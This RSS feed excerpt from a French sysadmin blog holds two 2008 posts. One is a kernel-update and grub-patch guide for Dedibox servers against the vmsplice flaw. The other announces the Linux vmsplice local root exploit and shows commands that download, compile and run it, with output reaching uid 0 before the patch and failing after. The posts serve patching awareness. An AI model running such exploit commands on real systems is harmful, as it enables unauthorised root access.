<dc:creator>Crashdump</dc:creator> <category><![CDATA[Debian]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[dedibox]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[ftp://ftp.dedibox.fr/pub/dedibox/fix/fix-grub-root.sh]]></category> <category><![CDATA[ftp://ftp.dedibox.fr/pub/dedibox/kernel/r8-1/C7-X86-32bits/kernel-image-2.6.24.2-c7-r8-1.deb]]></category> <category><![CDATA[kernel]]></category> <category><![CDATA[mise a jour]]></category> <category><![CDATA[noyau]]></category> <category><![CDATA[patch grub]]></category> <category><![CDATA[update]]></category> <category><![CDATA[upgrade]]></category> <category><![CDATA[vmsplice]]></category><guid isPermaLink="false">http://www.crashdump.fr/blog/index.php/2008/02/14/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice/</guid> <description><![CDATA[http://www.securiteam.com/unixfocus/5JP0C0UNFU.html Un tutoriel de mise a jour du kernel par dedibox: http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau La faille a été corrigé par les équipes de sécurité de la plupart des distributions. Aussi peut être pensez vous comme moi qu’un simple (pour debian) 12# apt-get update # apt-get upgrade Pourrais vous mettre à l&#8217;abri… Malheureusement chez dédibox il est optimisé [...]]]></description> <content:encoded><![CDATA[<p><a rel="nofollow" href="http://www.securiteam.com/unixfocus/5JP0C0UNFU.html">http://www.securiteam.com/unixfocus/5JP0C0UNFU.html</a></p><p>Un tutoriel de mise a jour du kernel par dedibox: <a rel="nofollow" href="http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau">http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau</a></p><p>La faille a été corrigé par les équipes de sécurité de la plupart des distributions.<br /> Aussi peut être pensez vous comme moi qu’un simple (pour debian)</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># apt-get update<br /> # apt-get upgrade</div></td></tr></tbody></table></div><p>Pourrais vous mettre à l&#8217;abri… Malheureusement chez dédibox il est optimisé pour C7, donc spécifique. Pas de panique ça reste assez simple a corriger quand même.</p><ul>La manipulation pour corriger la faille est décrite ici:</ul><p>Je l’ai testé sur une testing:<br /> <span id="more-69"></span><br /> Si vous avez installé votre dédibox avant le 28 Mai 2006 (ou si vous possedez une version raid), cette partie ne vous concerne pas !<br /> Sinon, distributions Ubuntu-Server, Ubuntu Dedibox et Debian Sarge comportent un bug dans le comportement de grub-install. On va donc patcher grub.</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># wget --passive ftp://ftp.dedibox.fr/pub/dedibox/fix/fix-grub-root.sh &amp;&amp; chmod +x fix-grub-root.sh</div></td></tr></tbody></table></div><p>On cherche sur quelle partition est “/” (pour savoir sur quel disque on boot):</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mount | grep &quot;/ &quot;</div></td></tr></tbody></table></div><p>Ce qui devrait vous retourner quelque chose du genre:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/dev/sda1 on / type ext3 (rw,errors=remount-ro)</div></td></tr></tbody></table></div><p>C’est ce sda1 qui nous intéresse.. c&#8217;est le disque sur lequel boot votre machine !</p><p>On va donc lancer le script téléchargé précédemment, avec comme paramètre sda1 (dans notre cas, sinon remplacez par la bonne valeur):</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># ./fix-grub-root.sh sda1</div></td></tr></tbody></table></div><p>Le script va modifier le fichier: /boot/grub/menu.lst pour y entrer les bonnes valeurs. Si un problème survient par la suite, le script créé une sauvegarde de ce fichier ici: /boot/grub/menu.lst.bak</p><ul>Mise a jour du Kernel</ul><p>On le télécharge:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># wget --passive ftp://ftp.dedibox.fr/pub/dedibox/kernel/r8-1/C7-X86-32bits/kernel-image-2.6.24.2-c7-r8-1.deb</div></td></tr></tbody></table></div><p>Puis on l’installe :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># dpkg -i kernel-image-2.6.24.2-c7-r8-1.deb</div></td></tr></tbody></table></div><p>On met a jour grub:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># update-grub<br /> Searching for GRUB installation directory ... found: /boot/grub<br /> Searching for default file ... found: /boot/grub/default<br /> Testing for an existing GRUB menu.lst file ... found: /boot/grub/menu.lst<br /> Searching for splash image ... none found, skipping ...<br /> &lt;strong&gt;Found kernel: /vmlinuz-2.6.24.2&lt;/strong&gt;<br /> Found kernel: /vmlinuz-2.6.23.13dedibox-r8<br /> Updating /boot/grub/menu.lst ... done</div></td></tr></tbody></table></div><p>Tout va bien il a trouvé notre noyau.. donc on reboot:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># reboot</div></td></tr></tbody></table></div><p>Prennez un café&#8230; puis on vérifie:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># uname -r<br /> 2.6.24.2dedibox-r8</div></td></tr></tbody></table></div><ul>Ipv6 Activé ?</ul><p>Il faut impérativement penser que l&#8217;IPV6 est activé et qu&#8217;il faut mettre les règles adoc pour filtrer un minimum.<br /> Personnellement, j e n&#8217;utilise pas &laquo;&nbsp;encore&nbsp;&raquo; ipv6 donc j&#8217;ai entré ces règles dans mon script iptables/ip6tables :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ip6tables -P INPUT DROP<br /> ip6tables -P OUTPUT DROP<br /> ip6tables -P FORWARD DROP<br /> echo &quot; Flushing rules (ip6)&quot;<br /> ip6tables --flush<br /> ip6tables --flush INPUT<br /> ip6tables --flush OUTPUT<br /> ip6tables --flush FORWARD<br /> ip6tables --flush -t mangle<br /> ip6tables --flush -t nat<br /> ip6tables --delete-chain</div></td></tr></tbody></table></div><p>C&#8217;est bon, je peut donc aller me recoucher, en paix. ;)</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Vmsplice root exploit</title><link>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/</link> <comments>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/#comments</comments> <pubDate>Tue, 12 Feb 2008 08:40:28 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Sécurité]]></category> <category><![CDATA[bug]]></category> <category><![CDATA[By]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[root]]></category> <category><![CDATA[vmsplice]]></category><guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/02/12/vmsplice-root-exploit/</guid> <description><![CDATA[Depuis peu, une faille a été découverte dans l&#8217;appel du système vmsplice(), les noyaux Linux 2.6.17 à 2.6.24.1 sont touchés. Elle est plutôt critique puisqu&#8217;un simple utilisateur peut devenir root en l&#8217;exploitant. 12$ uname -smr Linux 2.6.23.16.. i686 Voici un exemple d&#8217;utilisation : 123456789101112131415161718192021$ cd /tmp $ wget http://www.crashdump.fr/~polux/rootexploit/rootexploit.c $ gcc -o rootexploit rootexploit.c $ [...]]]></description> <content:encoded><![CDATA[<p>Depuis peu, une faille a été découverte dans l&#8217;appel du système vmsplice(), les noyaux Linux 2.6.17 à 2.6.24.1 sont touchés. Elle est plutôt critique puisqu&#8217;un simple utilisateur peut devenir root en l&#8217;exploitant.</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ uname -smr<br /> Linux 2.6.23.16.. i686</div></td></tr></tbody></table></div><p>Voici un exemple d&#8217;utilisation :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ cd /tmp<br /> $ wget http://www.crashdump.fr/~polux/rootexploit/rootexploit.c<br /> $ gcc -o rootexploit rootexploit.c<br /> $ ./rootexploit<br /> -----------------------------------<br /> Linux vmsplice Local Root Exploit<br /> By qaaz<br /> -----------------------------------<br /> [+] mmap: 0x0 .. 0x1000<br /> [+] page: 0x0<br /> [+] page: 0x20<br /> [+] mmap: 0x4000 .. 0x5000<br /> [+] page: 0x4000<br /> [+] page: 0x4020<br /> [+] mmap: 0x1000 .. 0x2000<br /> [+] page: 0x1000<br /> [+] mmap: 0xb7dee000 .. 0xb7e20000<br /> [+] root<br /> Exploit gone!<br /> # id -u<br /> 0</div></td></tr></tbody></table></div><p><span id="more-70"></span><br /> &#8230; voila qui est plutôt grave, mettez donc a jour vos kernel:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ uname -smr<br /> Linux 2.6.24.2.. i686</div></td></tr></tbody></table></div><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ ./rootexploit<br /> -----------------------------------<br /> &nbsp;Linux vmsplice Local Root Exploit<br /> -----------------------------------<br /> [+] mmap: 0x0 .. 0x1000<br /> [+] page: 0x0<br /> [+] page: 0x20<br /> [+] mmap: 0x4000 .. 0x5000<br /> [+] page: 0x4000<br /> [+] page: 0x4020<br /> [+] mmap: 0x1000 .. 0x2000<br /> [+] page: 0x1000<br /> [+] mmap: 0xb7dfc000 .. 0xb7e2e000<br /> [-] vmsplice: Bad address<br /> $ id -u<br /> 1000</div></td></tr></tbody></table></div><p>De plus, on pourrais imaginer une utilisation de cet exploit via des scripts cgi, php,.. Mal programmé &#8211; En exploitant une faille include &#8211; Et la je vous laisse imaginer le drame !</p><p>Un petit conseil donc: Mettez votre système à jour régulièrement !</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Served from: www.crashdump.fr @ 2012-02-04 20:09:30 by W3 Total Cache -->
